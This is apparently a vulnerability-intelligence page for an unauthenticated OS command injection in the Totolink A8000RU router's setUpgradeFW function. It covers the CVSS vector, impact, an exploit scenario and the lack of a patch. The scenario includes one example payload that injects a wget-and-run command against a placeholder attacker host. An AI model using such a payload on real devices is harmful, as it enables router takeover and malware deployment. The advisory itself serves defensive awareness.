EUVD-2026-31543
GHSA-q68g-wg9j-v69v
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
3DescriptionCVE.org
A security flaw has been discovered in Totolink A8000RU 7.1cu.643_b20200521. The affected element is the function setUpgradeFW of the file /cgi-bin/cstecgi.cgi of the component Web Management Interface. Performing a manipulation of the argument resetFlags results in os command injection. It is possible to initiate the attack remotely. The exploit has been released to the public and may be used for attacks.
AnalysisAI
OS command injection in the Totolink A8000RU router (firmware 7.1cu.643_b20200521) allows remote unauthenticated attackers to execute arbitrary operating system commands via the resetFlags parameter handled by the setUpgradeFW function in /cgi-bin/cstecgi.cgi. Publicly available exploit code exists, and the SSVC framework classifies exploitation as automatable with total technical impact, though EPSS remains modest at 0.89% (76th percentile).
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | No special conditions for the protocol-level flaw - the CVSS 4.0 vector confirms remote, unauthenticated, low-complexity exploitation (AV:N/AC:L/AT:N/PR:N/UI:N) of the setUpgradeFW handler in /cgi-bin/cstecgi.cgi on default configurations. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N) with high confidentiality, integrity, and availability impact, combined with E:P (proven exploit), supports the 8.9 score and makes this attractive for opportunistic attackers and botnet operators who routinely target SOHO routers. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker scans the Internet (or a target network) for Totolink A8000RU devices with the web management interface reachable, then sends a single crafted HTTP request to /cgi-bin/cstecgi.cgi invoking setUpgradeFW with shell metacharacters embedded in resetFlags (e.g., resetFlags=1;wget http://attacker/x -O /tmp/x;sh /tmp/x). Because the published PoC on GitHub provides the exact request format and no authentication is required, an attacker can trivially script mass exploitation to deploy router malware, pivot into the LAN, or enroll the device in a DDoS botnet. |
| Remediation | No vendor-released patch identified at time of analysis - Totolink has not published an advisory or fixed firmware for CVE-2026-9387 according to the provided references. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
24 hours: Identify and inventory all Totolik A8000RU devices running firmware 7.1cu.643_b20200521 or earlier; assess network exposure and document dependencies. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Share
External POC / Exploit Code
Leaving vuln.today